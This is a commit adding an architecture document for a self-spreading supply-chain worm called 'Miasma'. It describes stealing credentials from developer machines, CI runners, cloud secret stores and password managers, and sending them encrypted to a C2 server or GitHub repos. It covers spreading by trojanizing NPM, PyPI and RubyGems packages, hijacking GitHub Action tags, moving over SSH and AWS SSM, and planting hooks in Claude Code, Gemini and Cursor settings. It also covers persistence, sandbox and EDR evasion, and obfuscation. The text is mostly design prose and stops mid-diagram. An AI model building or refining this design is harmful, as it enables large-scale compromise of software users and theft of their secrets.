Upload files to "/"
This commit is contained in:
+690
@@ -0,0 +1,690 @@
|
||||
# Miasma Architecture
|
||||
|
||||
A worm that aims to automate spreading across multiple developer tooling ecosystems. Written in TypeScript, executed via Bun, designed for CI/CD environments (especially GitHub Actions) and developer machines. Exfiltrates secrets and propagates through NPM packages, PyPI wheels, RubyGems, GitHub repositories and Actions, Claude settings hooks, SSH, and AWS SSM.
|
||||
|
||||
Requires NO C2 infrastructure. No dealing with takedowns or maintaining infrasturcture. Stolen GitHub PATs are all that is necessary.
|
||||
|
||||
Highly modular and easy to tune using AI.
|
||||
|
||||
---
|
||||
|
||||
## Current Status
|
||||
|
||||
The project is near feature-complete, but several components remain untested against live targets:
|
||||
|
||||
| Component | Status | Notes |
|
||||
|---|---|---|
|
||||
| **PyPIOIDC** | ⚠️ Untested | PyPI Trusted Publishing (OIDC) mutator — downloads wheels, injects `.pth` payload, mints a short-lived PyPI API token from a GitHub Actions OIDC token, and re-publishes. Needs testing against a live PyPI project with Trusted Publishing configured. |
|
||||
| **SSH Mutator** | ⚠️ Untested | SSH host propagation via SCP + SSH exec to hosts found in `~/.ssh/known_hosts` and `~/.ssh/config`. Needs testing against live SSH targets. |
|
||||
| **JFrog NPM** | ⚠️ Untested | JFrog Artifactory NPM mutator — authenticates via API key, Bearer token, or user:pass, validates write access, and trojanizes packages in NPM repos. Needs testing against a live JFrog instance. |
|
||||
| **RubyGems + OIDC** | ⚠️ Untested | RubyGems Trusted Publishing (OIDC) branch injection — dangling-commit attack on repos that publish to RubyGems via OIDC. Needs testing against a live repo with RubyGems trusted publishing enabled. |
|
||||
| **GCP Providers** | ❌ Broken (exfil) | GCP Secret Manager (`GcpSecretsService`) and Identity (`GcpIdentityService`) providers have never successfully exfiltrated live data. Needs testing against real GCP credentials. |
|
||||
| **Azure Providers** | ❌ Broken (exfil) | Azure Key Vault (`AzureKeyVaultService`) and Identity (`AzureIdentityService`) providers have never successfully exfiltrated live data. Needs testing against real Azure credentials. |
|
||||
|
||||
---
|
||||
|
||||
## Directory Structure
|
||||
|
||||
```
|
||||
.
|
||||
├── .gitignore
|
||||
├── ARCHITECTURE.MD
|
||||
├── INTEGRATION_TESTING.md
|
||||
├── README.md
|
||||
├── bun.lock # Bun dependency lock file
|
||||
├── bunfig.toml # Bun config (.py loader, test preload)
|
||||
├── eslint.config.js # ESLint with import sort plugin
|
||||
├── package.json # Project manifest, scripts, dependencies
|
||||
├── tsconfig.json # TypeScript strict, ESNext/Bun target
|
||||
├── tunnel.sh # SSH bastion tunnel manager
|
||||
├── final_key.pub # Public key for standalone decrypt tool
|
||||
│
|
||||
├── scripts/ # Build pipeline
|
||||
│ ├── build.ts # Main build pipeline (transform + bundle)
|
||||
│ ├── build-cli.ts # CLI build pipeline (single-provider/mutator bundles)
|
||||
│ ├── build-plugin.ts # Alternative Bun plugin build
|
||||
│ ├── pack-assets.ts # Encrypts assets → src/generated/index.ts
|
||||
│ ├── scramble-shared.ts # Shared scramble transform utilities
|
||||
│ ├── env-scramble.ts # Obfuscates process.env access
|
||||
│ ├── strip-logs.ts # Strips logUtil.* calls
|
||||
│ ├── obfuscate.js # Post-build JS obfuscation (javascript-obfuscator)
|
||||
│ ├── obfplus-wrap.js # Additional post-obfuscation wrapper
|
||||
│ ├── decrypt.ts # Standalone envelope decryption tool
|
||||
│ ├── session.js # Session messenger helper
|
||||
│ ├── create_payload_repo.py # GitHub payload repo creation helper
|
||||
│ └── populate-test-fixtures.ts # Test fixture generator
|
||||
│
|
||||
├── src/ # Main source
|
||||
│ ├── index.ts # Entry point / main()
|
||||
│ │
|
||||
│ ├── orchestrator/ # Orchestration layer (split from index.ts)
|
||||
│ │ ├── preflight.ts # Decoy, locale, repo, daemon, lock checks
|
||||
│ │ ├── providers.ts # Quick-result gathering + full provider list
|
||||
│ │ ├── senders.ts # Sender chain construction
|
||||
│ │ └── mutations.ts # Mutation planning + execution
|
||||
│ │
|
||||
│ ├── assets/ # Payload assets (embedded at build time)
|
||||
│ │ ├── BASH_LOADER.sh # Cross-platform Bun bootstrapper (bash)
|
||||
│ │ ├── JS_LOADER.mjs # Node.js Bun bootstrapper (with ZIP parser)
|
||||
│ │ ├── PYTHON_LOADER.py # Python Bun bootstrapper
|
||||
│ │ ├── DUMP_LINUX.py # /proc/memory dumper (Runner.Worker)
|
||||
│ │ ├── DUMP_DARWIN.py # macOS memory dumper
|
||||
│ │ ├── DUMP_WINDOWS.ps1 # Windows memory dumper
|
||||
│ │ ├── GITHUB_MONITOR.py # GitHub token activity monitor (Python)
|
||||
│ │ ├── INSTALL_MONITOR.sh # Installs GITHUB_MONITOR as persistent service
|
||||
│ │ ├── INJECT_PTH.pth # PyPI .pth loader payload
|
||||
│ │ ├── workflow.yml # GitHub Actions secret-dumping workflow
|
||||
│ │ ├── DEADMAN_SWITCH.sh # Token monitor via launchd/systemd
|
||||
│ │ ├── claude_settings.json # Claude SessionStart hook payload
|
||||
│ │ ├── task.json # VSCode folder-open task trigger
|
||||
│ │ ├── enc_key.pub # RSA-4096 public key (exfiltration encryption)
|
||||
│ │ └── verify_key.pub # RSA-4096 public key (C2 signature verification)
|
||||
│ │
|
||||
│ ├── collector/ # Data ingestion & buffering
|
||||
│ │ └── collector.ts # Buffers ProviderResults, validates tokens, flushes to Dispatcher
|
||||
│ │
|
||||
│ ├── dispatcher/ # Exfiltration routing
|
||||
│ │ └── dispatcher.ts # Routes encrypted batches through sender chain with fallback
|
||||
│ │
|
||||
│ ├── generated/ # Auto-generated (by pack-assets.ts)
|
||||
│ │ └── index.ts # AES-256-GCM encrypted assets
|
||||
│ │
|
||||
│ ├── github_utils/ # GitHub API utilities
|
||||
│ │ ├── auth.ts # Token validation & scope/metadata checking
|
||||
│ │ ├── client.ts # REST API client (fetch/json wrappers)
|
||||
│ │ ├── fetcher.ts # Commit search for C2 fallback (signed commits)
|
||||
│ │ ├── gitDb.ts # Low-level Git DB API (blobs, trees, commits, refs)
|
||||
│ │ ├── orphanDep.ts # Orphan commit builder for npm git-dep injection
|
||||
│ │ └── tokenCheck.ts # Token validation re-exports from auth.ts
|
||||
│ │
|
||||
│ ├── mutator/ # Persistence & propagation
|
||||
│ │ ├── base.ts # Abstract Mutator base class
|
||||
│ │ ├── types.ts # Mutator type name union
|
||||
│ │ ├── action/ # GitHub Action hijacking
|
||||
│ │ │ ├── actionMutator.ts # Hijacks semver tags on custom GitHub Actions
|
||||
│ │ │ ├── actionFinder.ts # Finds writable repos with action.yml files
|
||||
│ │ │ ├── comitter.ts # Force-push to semver tags
|
||||
│ │ │ └── createEnvelope.ts # JS wrapper + checkout injector for composite actions
|
||||
│ │ ├── aws/ # AWS SSM propagation
|
||||
│ │ │ └── ssm.ts # Sends payload to managed EC2 instances via SSM SendCommand
|
||||
│ │ ├── branch/ # GitHub branch poisoning (ReadmeUpdater)
|
||||
│ │ │ ├── index.ts # Push malicious files to all branches (GraphQL)
|
||||
│ │ │ ├── branches.ts # Fetch & filter repo branches
|
||||
│ │ │ ├── client.ts # GitHub GraphQL API client
|
||||
│ │ │ ├── commits.ts # Batch createCommitOnBranch mutations
|
||||
│ │ │ ├── queries.ts # GraphQL query/mutation strings
|
||||
│ │ │ ├── resolver.ts # Resolves GITHUB_REPOSITORY from env
|
||||
│ │ │ ├── sources.ts # File source resolvers (inline/disk/binary)
|
||||
│ │ │ └── types.ts # Branch/Commit/File types
|
||||
│ │ ├── claude/ # Claude Code hook injection
|
||||
│ │ │ └── index.ts # Injects SessionStart hook into settings.json
|
||||
│ │ ├── npm/ # NPM trojanization (auth token)
|
||||
│ │ │ ├── index.ts # Download → inject preinstall → re-publish
|
||||
│ │ │ ├── publish.ts # PUT /registry npm publish
|
||||
│ │ │ ├── tarball.ts # Tarball manipulation utilities
|
||||
│ │ │ └── tokenCheck.ts # NPM token validation & package enumeration
|
||||
│ │ ├── npmoidc/ # NPM trojanization (OIDC)
|
||||
│ │ │ ├── index.ts # OIDC-based NPM trojanization
|
||||
│ │ │ ├── branch.ts # Branch-based OIDC injection (dangling commits + deployment)
|
||||
│ │ │ ├── detector.ts # Detects repos publishing to NPM via OIDC
|
||||
│ │ │ ├── environment.ts # Environment protection bypass logic
|
||||
│ │ │ ├── injector.ts # Injects tool step into workflow YAML
|
||||
│ │ │ ├── provenance.ts # sigstore (Fulcio + Rekor) provenance bundles
|
||||
│ │ │ └── types.ts # Mutator type alias
|
||||
│ │ ├── persist/ # Persistence via background monitor
|
||||
│ │ │ └── install-monitor.ts # Installs GITHUB_MONITOR.py as persistent service
|
||||
│ │ ├── poller/ # Dead-man switch
|
||||
│ │ │ └── monitor.ts # Installs DEADMAN_SWITCH.sh for token monitoring
|
||||
│ │ ├── pypi/ # PyPI wheel trojanization
|
||||
│ │ │ ├── index.ts # Download → inject .pth → re-publish wheel
|
||||
│ │ │ ├── macaroonParse.ts # Parses PyPI macaroon tokens
|
||||
│ │ │ ├── upload.ts # PyPI upload via twine/API
|
||||
│ │ │ └── wheel.ts # Wheel download, metadata, patching
|
||||
│ │ ├── repository/ # Repository file injection (Git DB API)
|
||||
│ │ │ ├── index.ts # Pushes payload + hooks to feature branches
|
||||
│ │ │ ├── defaultBranch.ts # Default branch resolution
|
||||
│ │ │ ├── lotp.ts # Low-level tree operations
|
||||
│ │ │ ├── repos.ts # Writable repo enumeration
|
||||
│ │ │ └── types.ts # Repository target types
|
||||
│ │ ├── rubygems/ # RubyGems gem trojanization
|
||||
│ │ │ ├── index.ts # Download → inject native ext → re-publish gem
|
||||
│ │ │ ├── gem.ts # Gem download, metadata, patching
|
||||
│ │ │ ├── publish.ts # RubyGems publish
|
||||
│ │ │ └── tokenCheck.ts # RubyGems token validation & gem enumeration
|
||||
│ │ ├── rubygemsoidc/ # RubyGems OIDC branch injection
|
||||
│ │ │ ├── branch.ts # Dangling-commit branch injection for RubyGems OIDC
|
||||
│ │ │ ├── detector.ts # Detects repos publishing to RubyGems via trusted publishing
|
||||
│ │ │ ├── index.ts # Main entry (detect repos + process)
|
||||
│ │ │ └── injector.ts # Injects RubyGems-specific tool step
|
||||
│ │ └── ssh/ # SSH host propagation
|
||||
│ │ └── sshMutator.ts # Propagates to SSH hosts via SCP + SSH exec
|
||||
│ │
|
||||
│ ├── providers/ # Secret/credential collection
|
||||
│ │ ├── base.ts # Abstract Provider with pattern matching
|
||||
│ │ ├── types.ts # ProviderResult type definitions
|
||||
│ │ ├── actions/ # GitHub Actions secret extraction
|
||||
│ │ │ ├── actions.ts # Orchestrates repo enumeration + secret dumping
|
||||
│ │ │ ├── pipeline.ts # repos → secrets → workflow execution
|
||||
│ │ │ ├── repos.ts # Streams user's writable repos with Actions secrets
|
||||
│ │ │ ├── secrets.ts # Streams repos with Actions secrets
|
||||
│ │ │ └── workflow.ts # Creates workflow, polls, downloads artifact
|
||||
│ │ ├── aws/ # AWS credential/secret harvesting
|
||||
│ │ │ ├── awsAccount.ts # Enumerates AWS identities via STS
|
||||
│ │ │ ├── client.ts # Generic signed AWS API client
|
||||
│ │ │ ├── credentials.ts # AWS credential chain (env/profiles/IMDS/ECS/web)
|
||||
│ │ │ ├── secretsManager.ts # Lists & gets Secrets Manager secrets
|
||||
│ │ │ ├── sigv4.ts # Full AWS Signature V4 implementation
|
||||
│ │ │ └── ssm.ts # Lists & gets SSM Parameters
|
||||
│ │ ├── azure/ # Azure credential/secret harvesting
|
||||
│ │ │ ├── auth.ts # Multi-source auth (env SP, managed identity, federated)
|
||||
│ │ │ ├── client.ts # Azure REST API client
|
||||
│ │ │ ├── identity.ts # Identity resolution & subscription enumeration
|
||||
│ │ │ └── keyvault.ts # Key Vault secret enumeration
|
||||
│ │ ├── devtool/ # Shell / GitHub CLI
|
||||
│ │ │ └── devtool.ts # gh auth token + process.env capture
|
||||
│ │ ├── filesystem/ # Local filesystem secret harvesting
|
||||
│ │ │ └── filesystem.ts # Reads ~/.ssh, ~/.aws, ~/.kube, wallets, etc.
|
||||
│ │ ├── gcp/ # GCP credential/secret harvesting
|
||||
│ │ │ ├── auth.ts # Multi-source auth (metadata, SA key, WIF)
|
||||
│ │ │ ├── client.ts # GCP REST API client
|
||||
│ │ │ ├── identity.ts # Identity resolution & project enumeration
|
||||
│ │ │ └── secrets.ts # Secret Manager secret enumeration
|
||||
│ │ ├── ghrunner/ # GitHub Actions runner memory dumping
|
||||
│ │ │ └── runner.ts # Dumps Runner.Worker process memory via /proc
|
||||
│ │ ├── kubernetes/ # Kubernetes secret harvesting
|
||||
│ │ │ └── kubernetes.ts # In-cluster or kubeconfig K8s API access
|
||||
│ │ ├── passwords/ # Password manager dumping
|
||||
│ │ │ └── passwords.ts # Dumps 1Password, Bitwarden, pass, gopass
|
||||
│ │ └── vault/ # HashiCorp Vault secret harvesting
|
||||
│ │ └── vault-secrets.ts # Auth (env/file/K8s/AWS), enumerates KV secrets
|
||||
│ │
|
||||
│ ├── sender/ # Exfiltration transports
|
||||
│ │ ├── base.ts # Encrypts: JSON → gzip → AES-256-GCM → RSA-OAEP
|
||||
│ │ ├── senderFactory.ts # SenderFactory interface
|
||||
│ │ ├── types.ts # SenderName, EncryptedPackage, SenderDestination types
|
||||
│ │ ├── domain/ # Primary C2 transport
|
||||
│ │ │ ├── domainSenderFactory.ts # Domain sender + commit-search C2 fallback
|
||||
│ │ │ └── sender.ts # HTTPS POST to C2 server
|
||||
│ │ ├── github/ # Fallback transport (persistent)
|
||||
│ │ │ ├── createRepo.ts # Creates uniquely-named public GitHub repo
|
||||
│ │ │ ├── githubSender.ts # Commits encrypted blobs to repo
|
||||
│ │ │ └── gitHubSenderFactory.ts # PAT-based or commit-search sender factory
|
||||
│ ├── cli/ # Standalone CLI entry points (one per provider/mutator/sender)
|
||||
│ │ ├── common.ts # Shared CLI utilities
|
||||
│ │ ├── provider-*.ts # Per-provider CLI wrappers (filesystem, shell, ghrunner,
|
||||
│ │ │ # aws-account, aws-secrets, aws-ssm, azure-identity,
|
||||
│ │ │ # azure-keyvault, gcp-identity, gcp-secrets,
|
||||
│ │ │ # k8s, vault, passwords, actions, grep)
|
||||
│ │ ├── mutator-*.ts # Per-mutator CLI wrappers (branch, claude,
|
||||
│ │ │ # npm, npmoidcbranch, action, repository,
|
||||
│ │ │ # rubygems, rubygemsoidc-branch)
|
||||
│ │ ├── sender-*.ts # Per-sender CLI wrappers (domain, github)
|
||||
│ │ └── validate-binding-gyp.ts # binding.gyp validator
|
||||
│ │
|
||||
│ └── utils/ # Utilities
|
||||
│ ├── checkSandbox.ts # Decoy token detection
|
||||
│ ├── config.ts # OS detection, CI detection, locale check, EDR detection
|
||||
│ ├── daemon.ts # Process daemonization
|
||||
│ ├── encryptedWrapper.ts # AES-128-GCM self-decrypting JS wrapper builder
|
||||
│ ├── lock.ts # PID-based single-instance file lock
|
||||
│ ├── logger.ts # Silent-by-default logger
|
||||
│ ├── runtimeDecoder.ts # Runtime string decoder (passphrase injected at build)
|
||||
│ ├── selfExtracting.ts # Self-extracting payload builder (AES-GCM + ROT-N + bun guard)
|
||||
│ ├── shell.ts # Bun shell command runner
|
||||
│ └── stringtool.ts # Polyalphabetic substitution cipher
|
||||
│
|
||||
├── tests/ # Test suite (Vitest)
|
||||
│ ├── setup.ts # Test setup / global config
|
||||
│ ├── arsenal/ # Arsenal integration tests
|
||||
│ ├── assets/ # Asset tests
|
||||
│ ├── collector/ # Collector tests
|
||||
│ ├── dispatcher/ # Dispatcher tests
|
||||
│ ├── fetcher/ # Fetcher / signed-commit tests
|
||||
│ ├── mutator/ # Mutator tests
|
||||
│ ├── providers/ # Provider tests
|
||||
│ ├── scramble/ # Scramble / stringtool tests
|
||||
│ ├── sender/ # Sender tests
|
||||
│ └── utils/ # Utility tests
|
||||
│
|
||||
├── dist/ # Main build output
|
||||
│ └── bundle.js # Bundled + obfuscated output
|
||||
├── dist-cli/ # CLI build output (empty; built on demand)
|
||||
├── dist_obf/ # Obfuscated build output
|
||||
├── dist-cli_obf/ # Obfuscated CLI build output
|
||||
└── dist_obfplus/ # Double-obfuscated build output
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Architecture Layers
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ BUILD PIPELINE │
|
||||
│ pack-assets → scramble/obfuscate → bundle → js-obfuscate │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ ENTRY POINT │
|
||||
│ src/index.ts: main() │
|
||||
│ Preflight → QuickResults → Senders → Providers → │
|
||||
│ Collector → Dispatcher → Mutations (success or fallback) │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
|
||||
┌────────────────────┐ ┌──────────────┐ ┌──────────────────┐
|
||||
│ PROVIDERS │ │ COLLECTOR │ │ DISPATCHER │
|
||||
│ (secret harvest) ──▶│ (buffer + ──▶│ (sender chain) │
|
||||
│ │ │ token val) │ │ │
|
||||
└────────────────────┘ └──────┬───────┘ └──────────────────┘
|
||||
│
|
||||
detects npm/rubygems/gh tokens
|
||||
│
|
||||
▼
|
||||
┌──────────────────┐
|
||||
│ MUTATORS │
|
||||
│ (propagation + │
|
||||
│ persistence) │
|
||||
└──────┬───────────┘
|
||||
│
|
||||
┌────────────┼────────────┐
|
||||
▼ ▼ ▼
|
||||
┌─────────┐ ┌───────┐ ┌──────────┐
|
||||
│ SENDER │ │SENDER │ │ SENDER │
|
||||
│ (domain)│ │(gh #1)│ │ (gh #2) │
|
||||
└────┬────┘ └───┬───┘ └────┬─────┘
|
||||
▼ ▼ ▼
|
||||
C2 GitHub GitHub
|
||||
Server Repo Repo
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Components
|
||||
|
||||
### 1. Entry Point (`src/index.ts`)
|
||||
|
||||
The main entry point delegates to the **orchestrator** layer (split across four modules for clarity):
|
||||
|
||||
**`orchestrator/preflight.ts`:**
|
||||
- `isDecoy()` — exits if a honeypot/decoy token is detected
|
||||
- `checkTargetRepo()` — if `WORKFLOW_ID`/`REPO_ID_SUFFIX` match, runs `NPMOidcClient` and exits; if suffix matches but ID doesn't, exits silently
|
||||
- `isSystemRussian()` — exits if the system locale is Russian
|
||||
- `daemonize()` — detaches as a background daemon if not in CI
|
||||
- `acquireLock()` — prevents multiple concurrent instances (PID file lock)
|
||||
- `SIGINT`/`SIGTERM` trapping — ignores termination signals
|
||||
|
||||
**`orchestrator/providers.ts`:**
|
||||
- `gatherQuickResults()` — runs the three fast providers synchronously:
|
||||
- `FileSystemService` — scans ~100+ known sensitive file paths
|
||||
- `ShellService` — runs `gh auth token`, captures `process.env`
|
||||
- `GitHubRunner` — dumps Runner.Worker process memory for Actions secrets
|
||||
- `buildProviders(quickResults)` — assembles the full provider list:
|
||||
- Static cloud providers: `AwsSsmService`, `AwsSecretsManagerService`, `AwsAccountService`, `AzureKeyVaultService`, `AzureIdentityService`, `GcpSecretsService`, `GcpIdentityService`, `K8sSecretsService`, `VaultSecretsService`, `PasswordManagerProvider`
|
||||
- Conditional: if valid `ghtoken` tokens found in quick results with `workflow` scope, adds `GitHubActionsService` for each
|
||||
- Returns `{ providers, dispatched }` — dispatched flag is `true` when at least one Actions token was processed
|
||||
|
||||
**`orchestrator/senders.ts`:**
|
||||
- `buildSenderChain(quickResults)` — constructs prioritized sender chain:
|
||||
1. Domain sender (primary, uses `SEND_URL` from config)
|
||||
2. GitHub direct sender (fallback, created via PAT or commit search)
|
||||
3. GitHub token fallback (last resort, uses any found GitHub tokens)
|
||||
- Supports `SKIP_DOMAIN` env var to bypass domain transport
|
||||
|
||||
**`orchestrator/mutations.ts`:**
|
||||
- `planMutations(quickResults, dispatched)` — builds mutation list:
|
||||
- `ReadmeUpdater` — only if NOT dispatched (one per `ghs_old` and `ghs_jwt` token)
|
||||
- `ActionMutator` — one per deduplicated `ghtoken`
|
||||
- `NpmOidcBranchMutator` — one per deduplicated `ghtoken`
|
||||
- `RepositoryMutator` — one per deduplicated `ghtoken`
|
||||
- Always-run: `Claude`, `InstallMonitor`, `SshMutator`
|
||||
- `getFallbackMutations()` — used on failure: always `Claude`, `InstallMonitor`, `SshMutator`
|
||||
- `executeMutations(mutators)` — runs all mutators in parallel via `Promise.allSettled`, each behind its `shouldExecute()` guard
|
||||
|
||||
**Main flow:**
|
||||
```
|
||||
main()
|
||||
├── preflight()
|
||||
├── gatherQuickResults()
|
||||
├── buildSenderChain(quickResults)
|
||||
├── buildProviders(quickResults) → { providers, dispatched }
|
||||
├── Dispatcher(senders) + Collector(dispatch)
|
||||
├── ingest quick results → Collector
|
||||
├── collector.run(providers) — all providers in parallel
|
||||
├── collector.finalize()
|
||||
├── planMutations(quickResults, dispatched)
|
||||
│ OR on failure → getFallbackMutations()
|
||||
├── executeMutations(mutators)
|
||||
└── releaseLock() + process.exit(0)
|
||||
```
|
||||
|
||||
### 2. Collector (`src/collector/collector.ts`)
|
||||
|
||||
- Buffers `ProviderResult` objects, tracking byte count
|
||||
- Flushes when threshold (100KB) is crossed
|
||||
- **Token validation on ingest:**
|
||||
- `ghtoken` (classic PATs: `ghp_*`) → validated via GitHub `/user` endpoint; metadata stored on result
|
||||
- `fgtoken` (fine-grained PATs: `github_pat_*`) → validated via same endpoint
|
||||
- `npmtoken` (NPM tokens: `npm_*`) → validated + triggers `NpmClient` side-effect immediately
|
||||
- `rubygemstoken` (RubyGems tokens: `rubygems_*`) → validated + triggers `RubyGemsClient` side-effect immediately
|
||||
- `run()` executes provider sources in parallel, isolates failures
|
||||
- `finalize()` flushes remaining data and awaits in-flight dispatches
|
||||
|
||||
### 3. Dispatcher (`src/dispatcher/dispatcher.ts`)
|
||||
|
||||
- Ordered `Sender` list with fallback priority
|
||||
- Encrypts batch once via `sender.createEnvelope()`, then tries senders in order
|
||||
- Calls `sender.healthy()` before each attempt (preflight check)
|
||||
- Never throws on total failure — propagates silently
|
||||
- Supports `dryRun` mode (discards batches when no senders configured)
|
||||
|
||||
### 4. Sender (Exfiltration Transports)
|
||||
|
||||
#### Base Encryption (`src/sender/base.ts`)
|
||||
```
|
||||
JSON.stringify(results) → gzip → AES-256-GCM (random 256-bit key + random IV)
|
||||
→ RSA-OAEP-SHA256 (enc_key.pub wraps AES key)
|
||||
→ [IV + ciphertext + authTag] combined, base64-encoded
|
||||
Produces: { envelope: base64, key: base64 (RSA-encrypted AES key) }
|
||||
```
|
||||
|
||||
#### DomainSender (`src/sender/domain/sender.ts`)
|
||||
- Primary transport: HTTPS POST to C2 server
|
||||
- `SEND_URL` and `PATH` defined in `config.ts` (scrambled at build time)
|
||||
- Health check: DNS resolution + HTTP GET (400/404 = alive)
|
||||
- Throws on non-200 to trigger sender chain fallback
|
||||
|
||||
#### DomainSenderFactory (`src/sender/domain/domainSenderFactory.ts`)
|
||||
- Tries hardcoded domain first
|
||||
- Falls back to searching GitHub commits for cryptographically signed messages (verified via `verify_key.pub`) containing a backup C2 domain
|
||||
- Searches for a specific search string in signed commits
|
||||
|
||||
#### GitHubSender (`src/sender/github/githubSender.ts`)
|
||||
- Creates a public GitHub repo with random Dune-themed names
|
||||
- Commits encrypted blobs into `results/` directory
|
||||
- Splits large payloads (>30MB) into chunks
|
||||
- Optionally installs the dead-man switch
|
||||
|
||||
#### GitHubSenderFactory (`src/sender/github/gitHubSenderFactory.ts`)
|
||||
- Primary init: searches GitHub commits for doubly-base64-encoded PAT
|
||||
- Fallback: iterates tokens from quick results, validates, creates repo
|
||||
- Includes token in envelope if user has no orgs (for dead-man switch)
|
||||
|
||||
### 5. Providers (Secret Harvesting)
|
||||
|
||||
| Provider | Source | Description |
|
||||
|---|---|---|
|
||||
| `FileSystemService` | Local FS | SSH keys, AWS creds, kubeconfigs, wallets, browser data, CI configs, env files, shell histories. EDR-aware (skips if hostile EDR detected). |
|
||||
| `ShellService` | CLI | `gh auth token`, `process.env` |
|
||||
| `GitHubRunner` | `/proc`/memory | Runner.Worker process memory dump (Linux / macOS / Windows Actions runner) |
|
||||
| `AwsSsmService` | AWS API | SSM Parameters across 17 regions (DescribeParameters + GetParameters with decryption) |
|
||||
| `AwsSecretsManagerService` | AWS API | Secrets Manager secrets across 17 regions |
|
||||
| `AwsAccountService` | AWS STS | Identity resolution via all credential sources (env, IMDS, ECS, profiles) |
|
||||
| `AzureKeyVaultService` | Azure API | Key Vault secrets via multi-source auth (env SP, managed identity, federated identity); vault discovery via ARM or env var |
|
||||
| `AzureIdentityService` | Azure API | Identity resolution via all credential sources; tenant/object IDs + subscription enumeration |
|
||||
| `GcpSecretsService` | GCP API | Secret Manager secrets via multi-source auth (metadata server, service account key, workload identity federation); project discovery via CRM or env var |
|
||||
| `GcpIdentityService` | GCP API | Identity resolution via all credential sources; project ID + project enumeration |
|
||||
| `K8sSecretsService` | K8s API | In-cluster or kubeconfig, enumerates secrets from all namespaces |
|
||||
| `VaultSecretsService` | Vault API | Multi-source auth (env/file/K8s/AWS), KV v1/v2 secret enumeration |
|
||||
| `PasswordManagerProvider` | CLI tools | 1Password (`op`), Bitwarden (`bw`), `pass`, `gopass` |
|
||||
| `GitHubActionsService` | GitHub API | Creates malicious workflow, exfiltrates repo secrets via artifact |
|
||||
|
||||
### 6. Mutators (Propagation / Persistence)
|
||||
|
||||
| Mutator | Vector | Description |
|
||||
|---|---|---|
|
||||
| `ReadmeUpdater` | GitHub branches | Pushes VSCode task.json, Claude settings (Claude + Gemini), cursor rules, loader scripts to all feature branches via Git DB API. 2 branches per batch. |
|
||||
| `Claude` | Claude Code hooks | Finds all `settings.json` files in home dir, injects `SessionStart` hook to run the worm. Copies self to `~/.claude/package/`. |
|
||||
| `NpmClient` | NPM packages | Triggered by Collector on `npmtoken` detection. Downloads writable packages, injects `preinstall` script, re-publishes with bumped patch version. |
|
||||
| `NPMOidcClient` | NPM (OIDC) | Direct OIDC-based NPM trojanization. Authenticates via GitHub Actions OIDC. Generates sigstore provenance bundles. |
|
||||
| `NpmOidcBranchMutator` | NPM (OIDC branch) | Dangling-commit branch injection for NPM OIDC repos. Creates add-delete commit pair on a branch, triggers deployment. |
|
||||
| `RubyGemsClient` | RubyGems gems | Triggered by Collector on `rubygemstoken` detection. Downloads gems, injects native extension (extconf.rb + Makefile), bumps patch version, re-publishes. |
|
||||
| `RubyGemsOidcBranchMutator` | RubyGems (OIDC branch) | Dangling-commit branch injection for RubyGems trusted publishing repos. |
|
||||
| `PypiMutator` | PyPI wheels | Downloads wheels, injects `.pth` loader file, bumps patch version, re-publishes. Supports project-scoped macaroon tokens. |
|
||||
| `PyPIOidcClient` | PyPI (OIDC) | PyPI Trusted Publishing mutator. Mints a short-lived PyPI API token from a GitHub Actions OIDC token, downloads wheels, injects `.pth` payload, and re-publishes. |
|
||||
| `ActionMutator` | GitHub Actions | Finds writable repos with custom GitHub Actions, hijacks semver tags (v1, v2.x, etc.) via force-push of orphan commits containing a JS wrapper that loads the payload. |
|
||||
| `RepositoryMutator` | GitHub repos | Pushes payload + Claude/Gemini/VSCode hooks to feature branches on writable repos via Git DB API. Creates serial dangling commits. |
|
||||
| `SshMutator` | SSH hosts | Propagates to recently-connected SSH hosts (from `~/.ssh/known_hosts` and `~/.ssh/config`) via SCP + SSH exec. |
|
||||
| `SsmMutator` | AWS SSM | Propagates to EC2 instances managed by AWS Systems Manager. Uses `DescribeInstanceInformation` + `SendCommand` (AWS-RunShellScript) across 17 regions. |
|
||||
| `InstallMonitor` | Background monitor | Installs `GITHUB_MONITOR.py` as a persistent background service. EDR-aware and skips on <4 CPU cores. |
|
||||
| `Monitor` (poller) | Dead-man switch | Installs `DEADMAN_SWITCH.sh` as a persistent token monitor (launchd/systemd). |
|
||||
| `JfrogNpmMutator` | JFrog Artifactory | Triggered by Collector on `jfrogdomain`/`jfrogtoken` detection. Authenticates via API key, Bearer token, or user:pass, validates write access to NPM repos, downloads packages, injects `preinstall` scripts, and re-publishes. |
|
||||
|
||||
---
|
||||
|
||||
## Data Flow
|
||||
|
||||
```
|
||||
[Runtime Environment]
|
||||
│
|
||||
│ providers scan secrets/memory/filesystem/APIs
|
||||
▼
|
||||
┌──────────────────────────────────────┐
|
||||
│ PROVIDERS (parallel execution) │
|
||||
│ FileSystem · Shell · GitHubRunner │
|
||||
│ AwsSsm · AwsSM · AwsAccount │
|
||||
│ AzureKV · AzureIdentity │
|
||||
│ GcpSecrets · GcpIdentity │
|
||||
│ K8sSecrets · Vault · Passwords │
|
||||
│ GitHubActions │
|
||||
└──────┬───────────────────────────────┘
|
||||
│ ProviderResult (data + extracted tokens)
|
||||
▼
|
||||
┌──────────┐ batch (100KB threshold)
|
||||
│ COLLECTOR │────────────────────────────────┐
|
||||
└──────────┘ │
|
||||
│ ▼
|
||||
│ validate + side-effect tokens ┌──────────────┐
|
||||
├──► NpmClient (trojanize) │ DISPATCHER │
|
||||
├──► RubyGemsClient (trojanize) └──┬───┬───┬───┬──┘
|
||||
│ │ │ │
|
||||
│ ┌──────────┘ │ └──────────┐
|
||||
│ ▼ ▼ ▼
|
||||
│ DomainSender GitHubSender GitHubSender
|
||||
│ (HTTPS) (repo commit) (token fallback)
|
||||
│ │ │ │
|
||||
│ ┌──┴──┐ ┌───┴───┐ ┌──┴──┐
|
||||
│ │ C2 │ │ GitHub│ │GitHub│
|
||||
│ │Server│ │ Repo │ │ Repo │
|
||||
│ └─────┘ └───────┘ └─────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────┐
|
||||
│ MUTATORS (parallel) │
|
||||
│ ReadmeUpdater │──► Push files to all branches
|
||||
│ ActionMutator │──► Hijack semver action tags
|
||||
│ NpmOidcBranchMutator │──► Dangling-commit OIDC injection
|
||||
│ RepositoryMutator │──► Push payload + hooks to repos
|
||||
